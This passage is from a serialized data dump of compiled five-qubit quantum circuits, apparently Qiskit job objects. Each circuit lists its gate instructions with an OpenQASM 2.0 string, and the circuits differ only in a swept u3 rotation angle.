'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1275', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1277', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.6000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1279', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1281', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 